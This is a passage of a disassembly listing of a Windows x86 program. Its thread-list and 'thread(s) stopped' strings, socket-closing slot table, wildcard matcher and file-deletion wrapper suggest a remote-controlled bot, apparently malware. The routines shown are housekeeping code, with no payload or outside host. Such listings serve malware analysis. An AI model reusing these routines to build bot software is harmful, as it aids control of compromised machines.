loc_416DAF: ; CODE XREF: sub_416D48+1Aj mov eax, edi pop edi retn sub_416D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DB3 proc near ; DATA XREF: sub_40EE51+5BE3o var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] ; int mov dword ptr [eax+94h], 1 lea eax, [ebp+Str] push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_416E05 push [ebp+var_14] call sub_417064 add esp, 14h push 0 call ds:dword_423050 pop edi pop esi sub_416DB3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416E05(int,char *Str,int,int) sub_416E05 proc near ; CODE XREF: sub_416DB3+38p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset aThreadList ; "-[Thread List]-" push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h xor edi, edi mov esi, offset dword_441E70 loc_416E2F: ; CODE XREF: sub_416E05+78j cmp byte ptr [esi], 0 jz short loc_416E70 cmp [ebp+arg_C], 0 jnz short loc_416E43 cmp dword ptr [esi+204h], 0 jnz short loc_416E70 loc_416E43: ; CODE XREF: sub_416E05+33j push esi push edi lea eax, [ebp+Dest] push offset aD_S ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 24h loc_416E70: ; CODE XREF: sub_416E05+2Dj ; sub_416E05+3Cj add esi, 234h inc edi cmp esi, offset dword_486C00 jl short loc_416E2F pop edi pop esi leave retn sub_416E05 endp ; =============== S U B R O U T I N E ======================================= sub_416E83 proc near ; CODE XREF: sub_40EE51+4DCEp ; sub_416F11+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416F0B cmp esi, 1F4h jge short loc_416F0B imul esi, 234h push edi push ebx push ds:dword_442084[esi] lea edi, dword_442084[esi] call ds:dword_423168 cmp [edi], ebx jz short loc_416EBB push 1 pop ebp loc_416EBB: ; CODE XREF: sub_416E83+33j mov [edi], ebx lea edi, dword_442078[esi] mov ds:dword_442070[esi], ebx mov ds:dword_442074[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416EDC push eax call sub_415408 pop ecx loc_416EDC: ; CODE XREF: sub_416E83+50j mov [edi], ebx lea edi, dword_44207C[esi] mov byte ptr ds:dword_441E70[esi], bl mov ds:byte_442088[esi], bl push dword ptr [edi] call ds:dword_43C6B0 ; closesocket lea esi, dword_442080[esi] mov [edi], ebx push dword ptr [esi] call ds:dword_43C6B0 ; closesocket mov [esi], ebx pop edi loc_416F0B: ; CODE XREF: sub_416E83+Dj ; sub_416E83+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416E83 endp ; =============== S U B R O U T I N E ======================================= sub_416F11 proc near ; CODE XREF: sub_40AC3D:loc_40AC61p ; sub_40D39C+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_441E70 loc_416F1D: ; CODE XREF: sub_416F11+2Aj cmp byte ptr [esi], 0 jz short loc_416F2E push edi call sub_416E83 test eax, eax pop ecx jz short loc_416F2E inc ebx loc_416F2E: ; CODE XREF: sub_416F11+Fj ; sub_416F11+1Aj add esi, 234h inc edi cmp esi, offset dword_486C00 jl short loc_416F1D pop edi mov eax, ebx pop esi pop ebx retn sub_416F11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F43 proc near ; CODE XREF: sub_40EE51+1E2Cp ; sub_40EE51+1E9Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_442074 loc_416F57: ; CODE XREF: sub_416F43+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416F79 test edi, edi jle short loc_416F6B cmp [esi], edi jz short loc_416F6B cmp ebx, edi jnz short loc_416F79 loc_416F6B: ; CODE XREF: sub_416F43+1Ej ; sub_416F43+22j push ebx call sub_416E83 test eax, eax pop ecx jz short loc_416F79 inc [ebp+var_4] loc_416F79: ; CODE XREF: sub_416F43+1Aj ; sub_416F43+26j ... add esi, 234h inc ebx cmp esi, offset dword_486E04 jl short loc_416F57 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416F43 endp ; =============== S U B R O U T I N E ======================================= sub_416F90 proc near ; CODE XREF: sub_4071CC+Bp ; sub_407243+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_442070 loc_416F97: ; CODE XREF: sub_416F90+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416FA0 inc eax loc_416FA0: ; CODE XREF: sub_416F90+Dj add ecx, 234h cmp ecx, offset dword_486E00 jl short loc_416F97 retn sub_416F90 endp ; =============== S U B R O U T I N E ======================================= sub_416FAF proc near ; CODE XREF: sub_40EE51+5678p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_442070 loc_416FB9: ; CODE XREF: sub_416FAF+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416FD2 add ecx, 234h inc edx cmp ecx, offset dword_486E00 jl short loc_416FB9 pop esi retn ; --------------------------------------------------------------------------- loc_416FD2: ; CODE XREF: sub_416FAF+10j mov eax, edx pop esi retn sub_416FAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416FD6(int,int,int,int,int,int,int,char *Str) sub_416FD6 proc near ; CODE XREF: sub_40EE51+1061p Dest = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h Str = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+Str], eax jz short loc_416FEF push [ebp+Str] ; Str call _atoi pop ecx loc_416FEF: ; CODE XREF: sub_416FD6+Ej push eax push [ebp+arg_18] call sub_416F43 pop ecx test eax, eax pop ecx jle short loc_41701B push eax lea eax, [ebp+Dest] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax ; Dest call _sprintf add esp, 14h jmp short loc_417035 ; --------------------------------------------------------------------------- loc_41701B: ; CODE XREF: sub_416FD6+26j push [ebp+arg_14] lea eax, [ebp+Dest] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax ; Dest call _sprintf add esp, 10h loc_417035: ; CODE XREF: sub_416FD6+43j cmp [ebp+arg_C], 0 jnz short loc_417055 push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_417055: ; CODE XREF: sub_416FD6+63j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx leave retn sub_416FD6 endp ; =============== S U B R O U T I N E ======================================= sub_417064 proc near ; CODE XREF: sub_401000+A2p ; sub_401447+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov ds:dword_442084[eax], ecx mov ds:dword_442070[eax], ecx mov ds:dword_442074[eax], ecx mov ds:dword_442078[eax], ecx mov ds:dword_44207C[eax], ecx mov ds:dword_442080[eax], ecx mov byte ptr ds:dword_441E70[eax], cl mov ds:byte_442088[eax], cl retn sub_417064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170A1 proc near ; CODE XREF: sub_40EE51+61A8p ; sub_4171CF+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4170AB: ; CODE XREF: sub_4170A1+68j mov cl, [esi] test cl, cl jz short loc_41710B cmp eax, 1 jnz short loc_41710B mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41710B cmp cl, 2Ah jz short loc_4170F2 cmp cl, 3Fh jz short loc_4170D5 cmp cl, 5Bh jz short loc_4170DA xor eax, eax cmp cl, dl setz al loc_4170D5: ; CODE XREF: sub_4170A1+26j inc [ebp+arg_4] jmp short loc_417105 ; --------------------------------------------------------------------------- loc_4170DA: ; CODE XREF: sub_4170A1+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_417137 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_417105 ; --------------------------------------------------------------------------- loc_4170F2: ; CODE XREF: sub_4170A1+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4171CF mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_417105: ; CODE XREF: sub_4170A1+37j ; sub_4170A1+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4170AB ; --------------------------------------------------------------------------- loc_41710B: ; CODE XREF: sub_4170A1+Ej ; sub_4170A1+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41711B cmp eax, 1 jnz short loc_417132 inc esi mov [ebp+arg_0], esi jmp short loc_41710B ; --------------------------------------------------------------------------- loc_41711B: ; CODE XREF: sub_4170A1+6Dj cmp eax, 1 jnz short loc_417132 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_417132 cmp byte ptr [esi], 0 jnz short loc_417132 push 1 pop eax jmp short loc_417134 ; --------------------------------------------------------------------------- loc_417132: ; CODE XREF: sub_4170A1+72j ; sub_4170A1+7Dj ... xor eax, eax loc_417134: ; CODE XREF: sub_4170A1+8Fj pop esi pop ebp retn sub_4170A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417137 proc near ; CODE XREF: sub_4170A1+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_417158 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_417158: ; CODE XREF: sub_417137+19j push ebx push esi loc_41715A: ; CODE XREF: sub_417137+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_417168 cmp [ebp+var_4], eax jnz short loc_4171B4 loc_417168: ; CODE XREF: sub_417137+2Aj test edi, edi jnz short loc_4171A9 cmp bl, 2Dh jnz short loc_41719D mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_41719D cmp al, 5Dh jz short loc_41719D cmp [ebp+var_4], edi jnz short loc_41719D mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4171A9 cmp bl, al jg short loc_4171A9 push 1 mov [edx], esi pop edi jmp short loc_4171A9 ; --------------------------------------------------------------------------- loc_41719D: ; CODE XREF: sub_417137+38j ; sub_417137+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4171A9 push 1 pop edi loc_4171A9: ; CODE XREF: sub_417137+33j ; sub_417137+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41715A ; --------------------------------------------------------------------------- loc_4171B4: ; CODE XREF: sub_417137+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4171C1 mov ecx, eax sub ecx, edi mov edi, ecx loc_4171C1: ; CODE XREF: sub_417137+82j cmp edi, eax jnz short loc_4171CA mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4171CA: ; CODE XREF: sub_417137+8Cj mov eax, edi pop edi leave retn sub_417137 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171CF proc near ; CODE XREF: sub_4170A1+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4171EB: ; CODE XREF: sub_4171CF+3Aj cmp [eax], bl jz short loc_41720B mov cl, [ecx] cmp cl, 3Fh jz short loc_417200 cmp cl, 2Ah jnz short loc_41720B cmp cl, 3Fh jnz short loc_417203 loc_417200: ; CODE XREF: sub_4171CF+25j inc eax mov [edi], eax loc_417203: ; CODE XREF: sub_4171CF+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4171EB ; --------------------------------------------------------------------------- loc_41720B: ; CODE XREF: sub_4171CF+1Ej ; sub_4171CF+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_417216 inc dword ptr [esi] jmp short loc_41720B ; --------------------------------------------------------------------------- loc_417216: ; CODE XREF: sub_4171CF+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_417237 mov edx, [esi] cmp [edx], bl jz short loc_417228 xor eax, eax jmp short loc_417297 ; --------------------------------------------------------------------------- loc_417228: ; CODE XREF: sub_4171CF+53j cmp cl, bl jnz short loc_417237 mov ecx, [esi] cmp [ecx], bl jnz short loc_417237 push 1 pop eax jmp short loc_417297 ; --------------------------------------------------------------------------- loc_417237: ; CODE XREF: sub_4171CF+4Dj ; sub_4171CF+5Bj ... push eax push dword ptr [esi] call sub_4170A1 pop ecx test eax, eax pop ecx jnz short loc_417281 loc_417245: ; CODE XREF: sub_4171CF+B0j inc dword ptr [edi] mov eax, [edi] loc_417249: ; CODE XREF: sub_4171CF+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_417261 cmp cl, 5Bh jz short loc_417261 cmp dl, bl jz short loc_417261 inc eax mov [edi], eax jmp short loc_417249 ; --------------------------------------------------------------------------- loc_417261: ; CODE XREF: sub_4171CF+82j ; sub_4171CF+87j ... mov eax, [edi] cmp [eax], bl jz short loc_417278 push eax push dword ptr [esi] call sub_4170A1 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_41727D ; --------------------------------------------------------------------------- loc_417278: ; CODE XREF: sub_4171CF+96j mov [ebp+var_4], ebx xor eax, eax loc_41727D: ; CODE XREF: sub_4171CF+A7j cmp eax, ebx jnz short loc_417245 loc_417281: ; CODE XREF: sub_4171CF+74j mov eax, [edi] cmp [eax], bl jnz short loc_417294 mov eax, [esi] cmp [eax], bl jnz short loc_417294 mov [ebp+var_4], 1 loc_417294: ; CODE XREF: sub_4171CF+B6j ; sub_4171CF+BCj mov eax, [ebp+var_4] loc_417297: ; CODE XREF: sub_4171CF+57j ; sub_4171CF+66j pop edi pop esi pop ebx leave retn sub_4171CF endp ; [00000052 BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4172EE proc near ; CODE XREF: sub_401000+2Ep ; sub_401D79+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_438528, eax retn sub_4172EE endp ; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND] ; [00000032 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND] ; [00000020 BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] ; [000000CF BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND] ; [000000CF BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; [00000007 BYTES: COLLAPSED FUNCTION sub_417E66. PRESS KEYPAD "+" TO EXPAND] ; [00000007 BYTES: COLLAPSED FUNCTION sub_417E6D. PRESS KEYPAD "+" TO EXPAND] ; [0000004F BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] ; [00000054 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [000000B4 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] ; [0000006D BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [000000DC BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008C BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND] ; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND] ; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND] ; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND] ; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] ; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND] ; [0000009E BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND] ; [000000CB BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND] ; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND] ; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND] ; [00000120 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [0000010A BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4195E9 proc near ; CODE XREF: sub_40D000+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_4230A4 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_419609 call ds:dword_423088 ; RtlGetLastWin32Error push eax call __dosmaperr pop ecx loc_419605: ; CODE XREF: sub_4195E9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419609: ; CODE XREF: sub_4195E9+Dj test al, 1 jz short loc_41962A test [esp+arg_4], 2 jz short loc_41962A mov ds:dword_486FCC, 0Dh mov ds:dword_486FD0, 5 jmp short loc_419605 ; --------------------------------------------------------------------------- loc_41962A: ; CODE XREF: sub_4195E9+22j ; sub_4195E9+29j xor eax, eax retn sub_4195E9 endp ; --------------------------------------------------------------------------- align 10h ; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND] ; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND] ; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4199AA proc near ; CODE XREF: sub_40EE51+2BE2p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_423158 ; DeleteFileA test eax, eax jnz short loc_4199C0 call ds:dword_423088 ; RtlGetLastWin32Error jmp short loc_4199C2 ; --------------------------------------------------------------------------- loc_4199C0: ; CODE XREF: sub_4199AA+Cj xor eax, eax loc_4199C2: ; CODE XREF: sub_4199AA+14j test eax, eax jz short loc_4199D1 push eax call __dosmaperr pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4199D1: ; CODE XREF: sub_4199AA+1Aj xor eax, eax retn sub_4199AA endp ; [000000D7 BYTES: COLLAPSED FUNCTION _WinMainCRTStartup. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call __XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call __exit ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND] ; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000721 BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND] off_41A349 dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er dd offset loc_419C9D ; jump table for switch statement dd offset loc_419CB8 dd offset loc_419D04 dd offset loc_419D3B dd offset loc_419D43 dd offset loc_419D78 dd offset loc_419E0B ; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND] ; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] ; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND] ; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND] ; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41A61C proc near ; CODE XREF: ___endstdiop push 1 call _flsall pop ecx retn sub_41A61C endp ; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND] ; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND] ; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD 